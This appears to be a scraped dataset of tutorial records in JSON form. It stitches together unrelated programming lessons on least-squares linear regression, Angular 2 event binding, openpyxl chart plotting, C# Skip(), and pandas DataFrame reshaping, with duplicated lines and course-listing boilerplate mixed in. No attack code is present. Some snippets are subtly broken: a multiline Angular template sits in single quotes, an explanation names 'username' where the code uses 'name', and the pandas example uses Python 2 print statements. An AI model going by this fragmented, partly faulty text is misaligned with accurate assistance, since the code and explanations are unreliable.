"s": 1452,
"text": "In this formula, m is the slope and b is y-intercept."
},
{
"code": null,
"e": 1644,
"s": 1506,
"text": "Linear regression is a way to predict the 'Y' values for unknown values of Input 'X' like 1.5, 0.4, 3.6, 5.7 and even for -1, -5, 10 etc."
},
{
"code": null,
"e": 1776,
"s": 1644,
"text": "Let’s take a real world example to demonstrate the usage of linear regression and usage of Least Square Method to reduce the errors"
},
{
"code": null,
"e": 1998,
"s": 1776,
"text": "Let’s take a real world example of the price of agricultural products and how it varies based on the location its sold. The price will be low when bought directly from farmers and high when brought from the downtown area."
},
{
"code": null,
"e": 2084,
"s": 1998,
"text": "Given this dataset, we can predict the price of the product in intermediate locations"
},
{
"code": null,
"e": 2162,
"s": 2084,
"text": "When a dataset is used for predictions, it’s also called as Training Data Set"
},
{
"code": null,
"e": 2323,
"s": 2162,
"text": "In this example, if we consider Input 'X — Axis' as Sale Location and 'Y — Axis' as Price (think of any currency you’re familiar with), we can plot the graph as"
},
{
"code": null,
"e": 2465,
"s": 2323,
"text": "Given this dataset, predict the price of agricultural product, if it’s sold in intermediate locations between farmers house and city downtown"
},
{
"code": null,
"e": 2694,
"s": 2465,
"text": "The dataset provided above can be considered as Training DataSet for the problem statement stated above, If we consider these inputs as Training Data for the model, we can use that model to predict the price at locations between"
},
{
"code": null,
"e": 2717,
"s": 2694,
"text": "Farmers home — Village"
},
{
"code": null,
"e": 2732,
"s": 2717,
"text": "Village — Town"
},
{
"code": null,
"e": 2744,
"s": 2732,
"text": "Town — City"
},
{
"code": null,
"e": 2765,
"s": 2744,
"text": "City — City Downtown"
},
{
"code": null,
"e": 2937,
"s": 2765,
"text": "Our aim is to come with a straight line which minimizes the error between training data and our prediction model when we draw the line using the equation of straight line."
},
{
"code": null,
"e": 3143,
"s": 2937,
"text": "The maths allow us to get a straight line between any two (x,y) points in two dimensional graph. For this example, let’s consider farmers home and price as starting point and city downtown as ending point."
},
{
"code": null,
"e": 3195,
"s": 3143,
"text": "The coordinates of the start and end points will be"
},
{
"code": null,
"e": 3230,
"s": 3195,
"text": "(x1,y1) = (1, 4) (x2,y2) = (5, 80)"
},
{
"code": null,
"e": 3289,
"s": 3230,
"text": "where x represents the location and y represent the price."
},
{
"code": null,
"e": 3414,
"s": 3289,
"text": "The first step is to come up with a formula in the form of y = mx + b where x is a known value and y is the predicted value."
},
{
"code": null,
"e": 3550,
"s": 3414,
"text": "To calculate the Prediction y for any Input value x we have two unknowns, the m = slope(Gradient) and b = y-intercept(also called bias)"
},
{
"code": null,
"e": 3663,
"s": 3550,
"text": "The slope of the line is calculated as the change in y divided by change in x, so the calculation will look like"
},
{
"code": null,
"e": 3739,
"s": 3663,
"text": "The y-intercept / bias shall be calculated using the formula y-y1 = m(x-x1)"
},
{
"code": null,
"e": 3928,
"s": 3739,
"text": "Once we arrived at our formula, we can verify the same by substituting x for both starting and ending points which were used to calculate the formula as it should provide the same y value."
},
{
"code": null,
"e": 4095,
"s": 3928,
"text": "Now we know that our formula is correct as we get the same y value by substituting the x value, but what about other values of x in between i.e 2,3,4 , let’s find out"
},
{
"code": null,
"e": 4374,
"s": 4095,
"text": "These values are different from what was actually there in the training set (understandably as original graph was not a straight line), and if we plot this(x,y) graph against the original graph, the straight line will be way off the original points in the graph of x=2,3, and 4."
},
{
"code": null,
"e": 4472,
"s": 4374,
"text": "Nevertheless, the first step is successful as we managed to predict the Y for unknown values of X"
},
{
"code": null,
"e": 4673,
"s": 4472,
"text": "The error is defined as the difference of values between actual points and the points on the straight line). Ideally., we’d like to have a straight line where the error is minimized across all points."
},
{
"code": null,
"e": 4776,
"s": 4673,
"text": "The are many mathematical ways to do the same and one of the methods is called Least Square Regression"
},
{
"code": null,
"e": 4968,
"s": 4776,
"text": "Least Square Regression is a method which minimizes the error in such a way that the sum of all square error is minimized. Here are the steps you use to calculate the Least square regression."
},
{
"code": null,
"e": 5016,
"s": 4968,
"text": "First, the formula for calculating m = slope is"
},
{
"code": null,
"e": 5056,
"s": 5016,
"text": "Note: **2 means square, a python syntax"
},
{
"code": null,
"e": 5172,
"s": 5056,
"text": "So let’s calculate all the values required to come up with the slope(m), first start with calculating values with x"
},
{
"code": null,
"e": 5210,
"s": 5172,
"text": "Now let’s calculate the values with y"
},
{
"code": null,
"e": 5277,
"s": 5210,
"text": "The availability of these values allows us to calculate Sum of all"
},
{
"code": null,
"e": 5301,
"s": 5277,
"text": "(x — xmean)*(y — ymean)"
},
{
"code": null,
"e": 5367,
"s": 5301,
"text": "Now let’s calculate the denominator part of the equation which is"
},
{
"code": null,
"e": 5389,
"s": 5367,
"text": "Sum of (x — xmean)**2"
},
{
"code": null,
"e": 5425,
"s": 5389,
"text": "So the overall calculation would be"
},
{
"code": null,
"e": 5452,
"s": 5425,
"text": "Calculation of y-Intercept"
},
{
"code": null,
"e": 5522,
"s": 5452,
"text": "The y-intercept is calculated using the formula b = ymean — m * xmean"
},
{
"code": null,
"e": 5590,
"s": 5522,
"text": "The overall formula can now be written in the form of y = mx + b as"
},
{
"code": null,
"e": 5680,
"s": 5590,
"text": "Let’s see how the prediction y changes when we apply y = 19.2x + (-22.4) on all x values."
},
{
"code": null,
"e": 5756,
"s": 5680,
"text": "Let’s plot this particular straight line graph against the standard values."
},
{
"code": null,
"e": 5970,
"s": 5756,
"text": "As we can see that these values are nearer to the actual line as compared to direct straight line values between starting and end points. If we compare this with the straight line graph we visualize the difference"
},
{
"code": null,
"e": 6234,
"s": 5970,
"text": "This method is intended to reduce the sum square of all error values. The lower the error, lesser the overall deviation from the original point. We can compare the same with the errors generated out of the straight line as well as with the Least Square Regression"
},
{
"code": null,
"e": 6355,
"s": 6234,
"text": "As we can see that Least Square Method provide better results than a plain straight line between two points calculation."
},
{
"code": null,
"e": 6502,
"s": 6355,
"text": "The least square is not the only methods used in Machine Learning to improve the model, there are other about which I’ll talk about in later posts"
}
] |
Angular 2 - User Input
|
In Angular 2, you can make the use of DOM element structure of HTML to change the values of the elements at run time. Let’s look at some in detail.
In the app.component.ts file place the following code.
import {
Component
} from '@angular/core';
@Component ({
selector: 'my-app',
template: '
<div>
<input [value] = "name" (input) = "name = $event.target.value">
{{name}}
</div>
'
})
export class AppComponent { }
Following things need to be noted about the above code.
[value] = ”username” − This is used to bind the expression username to the input element’s value property.
[value] = ”username” − This is used to bind the expression username to the input element’s value property.
(input) = ”expression” − This a declarative way of binding an expression to the input element’s input event.
(input) = ”expression” − This a declarative way of binding an expression to the input element’s input event.
username = $event.target.value − The expression that gets executed when the input event is fired.
username = $event.target.value − The expression that gets executed when the input event is fired.
$event − Is an expression exposed in event bindings by Angular, which has the value of the event’s payload.
$event − Is an expression exposed in event bindings by Angular, which has the value of the event’s payload.
Once you save all the code changes and refresh the browser, you will get the following output.
You can now type anything and the same input will reflect in the text next to the Input control.
In the app.component.ts file place the following code.
import {
Component
} from '@angular/core';
@Component ({
selector: 'my-app',
template: '<button (click) = "onClickMe()"> Click Me </button> {{clickMessage}}'
})
export class AppComponent {
clickMessage = 'Hello';
onClickMe() {
this.clickMessage = 'This tutorial!';
}
}
Once you save all the code changes and refresh the browser, you will get the following output.
When you hit the Click Me button, you will get the following output.
16 Lectures
1.5 hours
Anadi Sharma
28 Lectures
2.5 hours
Anadi Sharma
11 Lectures
7.5 hours
SHIVPRASAD KOIRALA
16 Lectures
2.5 hours
Frahaan Hussain
69 Lectures
5 hours
Senol Atac
53 Lectures
3.5 hours
Senol Atac
Print
Add Notes
Bookmark this page
|
[
{
"code": null,
"e": 2445,
"s": 2297,
"text": "In Angular 2, you can make the use of DOM element structure of HTML to change the values of the elements at run time. Let’s look at some in detail."
},
{
"code": null,
"e": 2500,
"s": 2445,
"text": "In the app.component.ts file place the following code."
},
{
"code": null,
"e": 2766,
"s": 2500,
"text": "import { \n Component \n} from '@angular/core'; \n\n@Component ({ \n selector: 'my-app', \n template: ' \n <div> \n <input [value] = \"name\" (input) = \"name = $event.target.value\"> \n {{name}} \n </div> \n ' \n}) \nexport class AppComponent { }"
},
{
"code": null,
"e": 2822,
"s": 2766,
"text": "Following things need to be noted about the above code."
},
{
"code": null,
"e": 2929,
"s": 2822,
"text": "[value] = ”username” − This is used to bind the expression username to the input element’s value property."
},
{
"code": null,
"e": 3036,
"s": 2929,
"text": "[value] = ”username” − This is used to bind the expression username to the input element’s value property."
},
{
"code": null,
"e": 3145,
"s": 3036,
"text": "(input) = ”expression” − This a declarative way of binding an expression to the input element’s input event."
},
{
"code": null,
"e": 3254,
"s": 3145,
"text": "(input) = ”expression” − This a declarative way of binding an expression to the input element’s input event."
},
{
"code": null,
"e": 3352,
"s": 3254,
"text": "username = $event.target.value − The expression that gets executed when the input event is fired."
},
{
"code": null,
"e": 3450,
"s": 3352,
"text": "username = $event.target.value − The expression that gets executed when the input event is fired."
},
{
"code": null,
"e": 3558,
"s": 3450,
"text": "$event − Is an expression exposed in event bindings by Angular, which has the value of the event’s payload."
},
{
"code": null,
"e": 3666,
"s": 3558,
"text": "$event − Is an expression exposed in event bindings by Angular, which has the value of the event’s payload."
},
{
"code": null,
"e": 3761,
"s": 3666,
"text": "Once you save all the code changes and refresh the browser, you will get the following output."
},
{
"code": null,
"e": 3858,
"s": 3761,
"text": "You can now type anything and the same input will reflect in the text next to the Input control."
},
{
"code": null,
"e": 3913,
"s": 3858,
"text": "In the app.component.ts file place the following code."
},
{
"code": null,
"e": 4208,
"s": 3913,
"text": "import {\n Component\n} from '@angular/core';\n\n@Component ({\n selector: 'my-app',\n template: '<button (click) = \"onClickMe()\"> Click Me </button> {{clickMessage}}'\n})\n\nexport class AppComponent {\n clickMessage = 'Hello';\n onClickMe() {\n this.clickMessage = 'This tutorial!';\n }\n}"
},
{
"code": null,
"e": 4303,
"s": 4208,
"text": "Once you save all the code changes and refresh the browser, you will get the following output."
},
{
"code": null,
"e": 4372,
"s": 4303,
"text": "When you hit the Click Me button, you will get the following output."
},
{
"code": null,
"e": 4407,
"s": 4372,
"text": "\n 16 Lectures \n 1.5 hours \n"
},
{
"code": null,
"e": 4421,
"s": 4407,
"text": " Anadi Sharma"
},
{
"code": null,
"e": 4456,
"s": 4421,
"text": "\n 28 Lectures \n 2.5 hours \n"
},
{
"code": null,
"e": 4470,
"s": 4456,
"text": " Anadi Sharma"
},
{
"code": null,
"e": 4505,
"s": 4470,
"text": "\n 11 Lectures \n 7.5 hours \n"
},
{
"code": null,
"e": 4525,
"s": 4505,
"text": " SHIVPRASAD KOIRALA"
},
{
"code": null,
"e": 4560,
"s": 4525,
"text": "\n 16 Lectures \n 2.5 hours \n"
},
{
"code": null,
"e": 4577,
"s": 4560,
"text": " Frahaan Hussain"
},
{
"code": null,
"e": 4610,
"s": 4577,
"text": "\n 69 Lectures \n 5 hours \n"
},
{
"code": null,
"e": 4622,
"s": 4610,
"text": " Senol Atac"
},
{
"code": null,
"e": 4657,
"s": 4622,
"text": "\n 53 Lectures \n 3.5 hours \n"
},
{
"code": null,
"e": 4669,
"s": 4657,
"text": " Senol Atac"
},
{
"code": null,
"e": 4676,
"s": 4669,
"text": " Print"
},
{
"code": null,
"e": 4687,
"s": 4676,
"text": " Add Notes"
}
] |
Python | Plotting charts in excel sheet using openpyxl module | Set – 2 - GeeksforGeeks
|
16 Aug, 2018
Prerequisite: Python | Plotting charts in excel sheet using openpyxl module | Set – 1
Openpyxl is a Python library using which one can perform multiple operations on excel files like reading, writing, arithmatic operations and plotting graphs.
Charts are composed of at least one series of one or more data points. Series themselves are comprised of references to cell ranges. Let’s see how to plot Scatter, Bubble, Pie, 3D Pie Chart on an excel sheet using openpyxl.
For plotting the charts on an excel sheet, firstly, create chart object of specific chart class( i.e ScatterChart, PieChart etc.). After creating chart objects, insert data in it and lastly, add that chart object in the sheet object. Let’s see how to plot different charts using realtime data.
Code #1 : Plot the Bubble Chart.
Bubble charts are similar to scatter charts but use a third dimension to determine the size of the bubbles. Charts can include multiple series.
For plotting the bubble chart on an excel sheet, use BubbleChart class from openpyxl.chart submodule.
# import openpyxl moduleimport openpyxl # import BubbleChart, Reference, Series class# from openpyxl.chart sub_modulefrom openpyxl.chart import BubbleChart, Reference, Series # Call a Workbook() function of openpyxl # to create a new blank Workbook objectwb = openpyxl.Workbook() # Get workbook active sheet # from the active attribute.sheet = wb.active rows = [ ("Number of Products", "Sales in USD", "Market share"), (14, 12200, 15), (20, 60000, 33), (18, 24400, 10), (22, 32000, 42),] # write content of each row in 1st, 2nd and 3rd# column of the active sheet respectively.for row in rows: sheet.append(row) # Create object of BubbleChart classchart = BubbleChart() # create data for plottingxvalues = Reference(sheet, min_col = 1, min_row = 2, max_row = 5) yvalues = Reference(sheet, min_col = 2, min_row = 2, max_row = 5) size = Reference(sheet, min_col = 3, min_row = 2, max_row = 5) # create a 1st series of dataseries = Series(values = yvalues, xvalues = xvalues, zvalues = size, title ="2013") # add series data to the chart objectchart.series.append(series) # set the title of the chartchart.title = " BUBBLE-CHART " # set the title of the x-axischart.x_axis.title = " X_AXIS " # set the title of the y-axischart.y_axis.title = " Y_AXIS " # add chart to the sheet# the top-left corner of a chart# is anchored to cell E2 .sheet.add_chart(chart, "E2") # save the filewb.save("bubbleChart.xlsx")
Output: Code #2 : Plot the Scatter Chart
Scatter, or xy charts are similar to some line charts. For plotting the Scatter chart on an excel sheet, use ScatterChart class from openpyxl.chart submodule.
# import openpyxl moduleimport openpyxl # import ScatterChart, Reference, Series# class from openpyxl.chart sub_modulefrom openpyxl.chart import ScatterChart, Reference, Series # Call a Workbook() function of openpyxl # to create a new blank Workbook objectwb = openpyxl.Workbook() # Get workbook active sheet # from the active attribute.sheet = wb.active rows = [ ("Number of Products", "Sales in USD", "Market share"), (14, 12200, 15), (20, 60000, 33), (18, 24400, 10), (22, 32000, 42),] # write content of each row in 1st, 2nd and 3rd# column of the active sheet respectively .for row in rows: sheet.append(row) # Create object of ScatterChart classchart = ScatterChart() # create data for plottingxvalues = Reference(sheet, min_col = 1, min_row = 2, max_row = 5) yvalues = Reference(sheet, min_col = 2, min_row = 2, max_row = 5) size = Reference(sheet, min_col = 3, min_row = 2, max_row = 5) # create a 1st series of dataseries = Series(values = yvalues, xvalues = xvalues, zvalues = size, title ="2013") # add series data to the chart objectchart.series.append(series) # set the title of the chartchart.title = " SCATTER-CHART " # set the title of the x-axischart.x_axis.title = " X_AXIS " # set the title of the y-axischart.y_axis.title = " Y_AXIS " # add chart to the sheet# the top-left corner of a chart# is anchored to cell E2 .sheet.add_chart(chart, "E2") # save the filewb.save(" ScatterChart.xlsx")
Output: Code #3 : Plot the Pie Chart
Pie charts plot data as slices of a circle with each slice representing the percentage of the whole. Slices are plotted in a clockwise direction with 0° being at the top of the circle. Pie charts can only take a single series of data.
For plotting the Pie chart on an excel sheet, use PieChart class from openpyxl.chart submodule.
# import openpyxl moduleimport openpyxl # import PieChart, Reference class# from openpyxl.chart sub_modulefrom openpyxl.chart import PieChart, Reference # Call a Workbook() function of openpyxl # to create a new blank Workbook objectwb = openpyxl.Workbook() # Get workbook active sheet # from the active attribute.sheet = wb.active datas = [ ['Pie', 'Sold'], ['Apple', 50], ['Cherry', 30], ['Pumpkin', 10], ['Chocolate', 40],] # write content of each row in 1st, 2nd and 3rd# column of the active sheet respectively .for row in datas: sheet.append(row) # Create object of PieChart classchart = PieChart() # create data for plottinglabels = Reference(sheet, min_col = 1, min_row = 2, max_row = 5) data = Reference(sheet, min_col = 2, min_row = 1, max_row = 5) # adding data to the Pie chart objectchart.add_data(data, titles_from_data = True) # set labels in the chart objectchart.set_categories(labels) # set the title of the chartchart.title = " PIE-CHART " # add chart to the sheet# the top-left corner of a chart# is anchored to cell E2 .sheet.add_chart(chart, "E2") # save the filewb.save(" PieChart.xlsx")
Output: Code #4: Plot the Bar Chart
For plotting the 3D pie chart on an excel sheet, use PieChart3D class from openpyxl.chart submodule.
# import openpyxl moduleimport openpyxl # import PieChart3D, Reference class# from openpyxl.chart sub_modulefrom openpyxl.chart import PieChart3D, Reference # Call a Workbook() function of openpyxl # to create a new blank Workbook objectwb = openpyxl.Workbook() # Get workbook active sheet # from the active attribute.sheet = wb.active datas = [ ['Pie', 'Sold'], ['Apple', 50], ['Cherry', 30], ['Pumpkin', 10], ['Chocolate', 40],] # write content of each row in 1st, 2nd and 3rd# column of the active sheet respectively .for row in datas: sheet.append(row) # Create object of PiChart3D classchart = PieChart3D() # create data for plottinglabels = Reference(sheet, min_col = 1, min_row = 2, max_row = 5)data = Reference(sheet, min_col = 2, min_row = 1, max_row = 5) # adding data to the Pie chart objectchart.add_data(data, titles_from_data = True) # set labels in the chart objectchart.set_categories(labels) # set the title of the chartchart.title = " 3DPIE-CHART " # add chart to the sheet# the top-left corner of a chart# is anchored to cell E2 .sheet.add_chart(chart, "E2") # save the filewb.save(" 3DPieChart.xlsx")
Output:
python-modules
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
How to Install PIP on Windows ?
Enumerate() in Python
Different ways to create Pandas Dataframe
Create a Pandas DataFrame from Lists
Python String | replace()
*args and **kwargs in Python
How to drop one or multiple columns in Pandas Dataframe
sum() function in Python
Python OOPs Concepts
Python | Get unique values from a list
|
[
{
"code": null,
"e": 24766,
"s": 24738,
"text": "\n16 Aug, 2018"
},
{
"code": null,
"e": 24852,
"s": 24766,
"text": "Prerequisite: Python | Plotting charts in excel sheet using openpyxl module | Set – 1"
},
{
"code": null,
"e": 25010,
"s": 24852,
"text": "Openpyxl is a Python library using which one can perform multiple operations on excel files like reading, writing, arithmatic operations and plotting graphs."
},
{
"code": null,
"e": 25234,
"s": 25010,
"text": "Charts are composed of at least one series of one or more data points. Series themselves are comprised of references to cell ranges. Let’s see how to plot Scatter, Bubble, Pie, 3D Pie Chart on an excel sheet using openpyxl."
},
{
"code": null,
"e": 25528,
"s": 25234,
"text": "For plotting the charts on an excel sheet, firstly, create chart object of specific chart class( i.e ScatterChart, PieChart etc.). After creating chart objects, insert data in it and lastly, add that chart object in the sheet object. Let’s see how to plot different charts using realtime data."
},
{
"code": null,
"e": 25561,
"s": 25528,
"text": "Code #1 : Plot the Bubble Chart."
},
{
"code": null,
"e": 25705,
"s": 25561,
"text": "Bubble charts are similar to scatter charts but use a third dimension to determine the size of the bubbles. Charts can include multiple series."
},
{
"code": null,
"e": 25807,
"s": 25705,
"text": "For plotting the bubble chart on an excel sheet, use BubbleChart class from openpyxl.chart submodule."
},
{
"code": "# import openpyxl moduleimport openpyxl # import BubbleChart, Reference, Series class# from openpyxl.chart sub_modulefrom openpyxl.chart import BubbleChart, Reference, Series # Call a Workbook() function of openpyxl # to create a new blank Workbook objectwb = openpyxl.Workbook() # Get workbook active sheet # from the active attribute.sheet = wb.active rows = [ (\"Number of Products\", \"Sales in USD\", \"Market share\"), (14, 12200, 15), (20, 60000, 33), (18, 24400, 10), (22, 32000, 42),] # write content of each row in 1st, 2nd and 3rd# column of the active sheet respectively.for row in rows: sheet.append(row) # Create object of BubbleChart classchart = BubbleChart() # create data for plottingxvalues = Reference(sheet, min_col = 1, min_row = 2, max_row = 5) yvalues = Reference(sheet, min_col = 2, min_row = 2, max_row = 5) size = Reference(sheet, min_col = 3, min_row = 2, max_row = 5) # create a 1st series of dataseries = Series(values = yvalues, xvalues = xvalues, zvalues = size, title =\"2013\") # add series data to the chart objectchart.series.append(series) # set the title of the chartchart.title = \" BUBBLE-CHART \" # set the title of the x-axischart.x_axis.title = \" X_AXIS \" # set the title of the y-axischart.y_axis.title = \" Y_AXIS \" # add chart to the sheet# the top-left corner of a chart# is anchored to cell E2 .sheet.add_chart(chart, \"E2\") # save the filewb.save(\"bubbleChart.xlsx\")",
"e": 27359,
"s": 25807,
"text": null
},
{
"code": null,
"e": 27400,
"s": 27359,
"text": "Output: Code #2 : Plot the Scatter Chart"
},
{
"code": null,
"e": 27559,
"s": 27400,
"text": "Scatter, or xy charts are similar to some line charts. For plotting the Scatter chart on an excel sheet, use ScatterChart class from openpyxl.chart submodule."
},
{
"code": "# import openpyxl moduleimport openpyxl # import ScatterChart, Reference, Series# class from openpyxl.chart sub_modulefrom openpyxl.chart import ScatterChart, Reference, Series # Call a Workbook() function of openpyxl # to create a new blank Workbook objectwb = openpyxl.Workbook() # Get workbook active sheet # from the active attribute.sheet = wb.active rows = [ (\"Number of Products\", \"Sales in USD\", \"Market share\"), (14, 12200, 15), (20, 60000, 33), (18, 24400, 10), (22, 32000, 42),] # write content of each row in 1st, 2nd and 3rd# column of the active sheet respectively .for row in rows: sheet.append(row) # Create object of ScatterChart classchart = ScatterChart() # create data for plottingxvalues = Reference(sheet, min_col = 1, min_row = 2, max_row = 5) yvalues = Reference(sheet, min_col = 2, min_row = 2, max_row = 5) size = Reference(sheet, min_col = 3, min_row = 2, max_row = 5) # create a 1st series of dataseries = Series(values = yvalues, xvalues = xvalues, zvalues = size, title =\"2013\") # add series data to the chart objectchart.series.append(series) # set the title of the chartchart.title = \" SCATTER-CHART \" # set the title of the x-axischart.x_axis.title = \" X_AXIS \" # set the title of the y-axischart.y_axis.title = \" Y_AXIS \" # add chart to the sheet# the top-left corner of a chart# is anchored to cell E2 .sheet.add_chart(chart, \"E2\") # save the filewb.save(\" ScatterChart.xlsx\")",
"e": 29120,
"s": 27559,
"text": null
},
{
"code": null,
"e": 29157,
"s": 29120,
"text": "Output: Code #3 : Plot the Pie Chart"
},
{
"code": null,
"e": 29392,
"s": 29157,
"text": "Pie charts plot data as slices of a circle with each slice representing the percentage of the whole. Slices are plotted in a clockwise direction with 0° being at the top of the circle. Pie charts can only take a single series of data."
},
{
"code": null,
"e": 29488,
"s": 29392,
"text": "For plotting the Pie chart on an excel sheet, use PieChart class from openpyxl.chart submodule."
},
{
"code": "# import openpyxl moduleimport openpyxl # import PieChart, Reference class# from openpyxl.chart sub_modulefrom openpyxl.chart import PieChart, Reference # Call a Workbook() function of openpyxl # to create a new blank Workbook objectwb = openpyxl.Workbook() # Get workbook active sheet # from the active attribute.sheet = wb.active datas = [ ['Pie', 'Sold'], ['Apple', 50], ['Cherry', 30], ['Pumpkin', 10], ['Chocolate', 40],] # write content of each row in 1st, 2nd and 3rd# column of the active sheet respectively .for row in datas: sheet.append(row) # Create object of PieChart classchart = PieChart() # create data for plottinglabels = Reference(sheet, min_col = 1, min_row = 2, max_row = 5) data = Reference(sheet, min_col = 2, min_row = 1, max_row = 5) # adding data to the Pie chart objectchart.add_data(data, titles_from_data = True) # set labels in the chart objectchart.set_categories(labels) # set the title of the chartchart.title = \" PIE-CHART \" # add chart to the sheet# the top-left corner of a chart# is anchored to cell E2 .sheet.add_chart(chart, \"E2\") # save the filewb.save(\" PieChart.xlsx\")",
"e": 30685,
"s": 29488,
"text": null
},
{
"code": null,
"e": 30721,
"s": 30685,
"text": "Output: Code #4: Plot the Bar Chart"
},
{
"code": null,
"e": 30822,
"s": 30721,
"text": "For plotting the 3D pie chart on an excel sheet, use PieChart3D class from openpyxl.chart submodule."
},
{
"code": "# import openpyxl moduleimport openpyxl # import PieChart3D, Reference class# from openpyxl.chart sub_modulefrom openpyxl.chart import PieChart3D, Reference # Call a Workbook() function of openpyxl # to create a new blank Workbook objectwb = openpyxl.Workbook() # Get workbook active sheet # from the active attribute.sheet = wb.active datas = [ ['Pie', 'Sold'], ['Apple', 50], ['Cherry', 30], ['Pumpkin', 10], ['Chocolate', 40],] # write content of each row in 1st, 2nd and 3rd# column of the active sheet respectively .for row in datas: sheet.append(row) # Create object of PiChart3D classchart = PieChart3D() # create data for plottinglabels = Reference(sheet, min_col = 1, min_row = 2, max_row = 5)data = Reference(sheet, min_col = 2, min_row = 1, max_row = 5) # adding data to the Pie chart objectchart.add_data(data, titles_from_data = True) # set labels in the chart objectchart.set_categories(labels) # set the title of the chartchart.title = \" 3DPIE-CHART \" # add chart to the sheet# the top-left corner of a chart# is anchored to cell E2 .sheet.add_chart(chart, \"E2\") # save the filewb.save(\" 3DPieChart.xlsx\")",
"e": 32009,
"s": 30822,
"text": null
},
{
"code": null,
"e": 32017,
"s": 32009,
"text": "Output:"
},
{
"code": null,
"e": 32032,
"s": 32017,
"text": "python-modules"
},
{
"code": null,
"e": 32039,
"s": 32032,
"text": "Python"
},
{
"code": null,
"e": 32137,
"s": 32039,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 32146,
"s": 32137,
"text": "Comments"
},
{
"code": null,
"e": 32159,
"s": 32146,
"text": "Old Comments"
},
{
"code": null,
"e": 32191,
"s": 32159,
"text": "How to Install PIP on Windows ?"
},
{
"code": null,
"e": 32213,
"s": 32191,
"text": "Enumerate() in Python"
},
{
"code": null,
"e": 32255,
"s": 32213,
"text": "Different ways to create Pandas Dataframe"
},
{
"code": null,
"e": 32292,
"s": 32255,
"text": "Create a Pandas DataFrame from Lists"
},
{
"code": null,
"e": 32318,
"s": 32292,
"text": "Python String | replace()"
},
{
"code": null,
"e": 32347,
"s": 32318,
"text": "*args and **kwargs in Python"
},
{
"code": null,
"e": 32403,
"s": 32347,
"text": "How to drop one or multiple columns in Pandas Dataframe"
},
{
"code": null,
"e": 32428,
"s": 32403,
"text": "sum() function in Python"
},
{
"code": null,
"e": 32449,
"s": 32428,
"text": "Python OOPs Concepts"
}
] |
Skip method in C#
|
Use the Skip() method in C# to skip number of elements in an array.
Let’s say the following is our array −
int[] arr = { 10, 20, 30, 40, 50 };
To skip the first two elements, use the Skip() method and add argument as 2 −
arr.Skip(2);
Let us see an example −
Live Demo
using System.IO;
using System;
using System.Linq;
public class Demo {
public static void Main() {
int[] arr = { 10, 20, 30, 40, 50 };
Console.WriteLine("Initial Array...");
foreach (var res in arr) {
Console.WriteLine(res);
}
// skipping first two elements
var ele = arr.Skip(2);
Console.WriteLine("New Array after skipping elements...");
foreach (var res in ele) {
Console.WriteLine(res);
}
}
}
Initial Array...
10
20
30
40
50
New Array after skipping elements...
30
40
50
|
[
{
"code": null,
"e": 1130,
"s": 1062,
"text": "Use the Skip() method in C# to skip number of elements in an array."
},
{
"code": null,
"e": 1169,
"s": 1130,
"text": "Let’s say the following is our array −"
},
{
"code": null,
"e": 1205,
"s": 1169,
"text": "int[] arr = { 10, 20, 30, 40, 50 };"
},
{
"code": null,
"e": 1283,
"s": 1205,
"text": "To skip the first two elements, use the Skip() method and add argument as 2 −"
},
{
"code": null,
"e": 1296,
"s": 1283,
"text": "arr.Skip(2);"
},
{
"code": null,
"e": 1320,
"s": 1296,
"text": "Let us see an example −"
},
{
"code": null,
"e": 1331,
"s": 1320,
"text": " Live Demo"
},
{
"code": null,
"e": 1805,
"s": 1331,
"text": "using System.IO;\nusing System;\nusing System.Linq;\npublic class Demo {\n public static void Main() {\n int[] arr = { 10, 20, 30, 40, 50 };\n Console.WriteLine(\"Initial Array...\");\n foreach (var res in arr) {\n Console.WriteLine(res);\n }\n // skipping first two elements\n var ele = arr.Skip(2);\n Console.WriteLine(\"New Array after skipping elements...\");\n foreach (var res in ele) {\n Console.WriteLine(res);\n }\n }\n}"
},
{
"code": null,
"e": 1883,
"s": 1805,
"text": "Initial Array...\n10\n20\n30\n40\n50\nNew Array after skipping elements...\n30\n40\n50"
}
] |
Python – Reshape the data in a Pandas DataFrame
|
We can easily reshape the data by categorizing a specific column. Here, we will categorize the “Result”column i.e. Pass and Fail values in numbers form.
Import the required library −
import pandas as pd
Create a DataFrame with 2 columns −
dataFrame = pd.DataFrame(
{
"Student": ['Jack', 'Robin', 'Ted', 'Scarlett', 'Kat'],"Result": ['Pass', 'Fail', 'Fail', 'Pass', 'Pass']
}
)
Reshape the data using the map() function and just set ‘Pass’ to 1 and ‘Fail’ to 0 −
dataFrame['Result'] = dataFrame['Result'].map({'Pass': 1,'Fail': 0, })
Following is the code −
import pandas as pd
# Create DataFrame
dataFrame = pd.DataFrame(
{
"Student": ['Jack', 'Robin', 'Ted', 'Scarlett', 'Kat'],"Result": ['Pass', 'Fail', 'Fail', 'Pass', 'Pass']
}
)
print"DataFrame ...\n",dataFrame
# reshaping into numbers
dataFrame['Result'] = dataFrame['Result'].map({'Pass': 1,'Fail': 0, })
print"\nReshaped DataFrame ...\n",dataFrame
This will produce the following output
DataFrame ...
Result Student
0 Pass Jack
1 Fail Robin
2 Fail Ted
3 Pass Scarlett
4 Pass Kat
Reshaped DataFrame ...
Result Student
0 1 Jack
1 0 Robin
2 0 Ted
3 1 Scarlett
4 1 Kat
|
[
{
"code": null,
"e": 1215,
"s": 1062,
"text": "We can easily reshape the data by categorizing a specific column. Here, we will categorize the “Result”column i.e. Pass and Fail values in numbers form."
},
{
"code": null,
"e": 1245,
"s": 1215,
"text": "Import the required library −"
},
{
"code": null,
"e": 1265,
"s": 1245,
"text": "import pandas as pd"
},
{
"code": null,
"e": 1301,
"s": 1265,
"text": "Create a DataFrame with 2 columns −"
},
{
"code": null,
"e": 1452,
"s": 1301,
"text": "dataFrame = pd.DataFrame(\n {\n \"Student\": ['Jack', 'Robin', 'Ted', 'Scarlett', 'Kat'],\"Result\": ['Pass', 'Fail', 'Fail', 'Pass', 'Pass']\n\n }\n)"
},
{
"code": null,
"e": 1537,
"s": 1452,
"text": "Reshape the data using the map() function and just set ‘Pass’ to 1 and ‘Fail’ to 0 −"
},
{
"code": null,
"e": 1609,
"s": 1537,
"text": "dataFrame['Result'] = dataFrame['Result'].map({'Pass': 1,'Fail': 0, })\n"
},
{
"code": null,
"e": 1633,
"s": 1609,
"text": "Following is the code −"
},
{
"code": null,
"e": 1999,
"s": 1633,
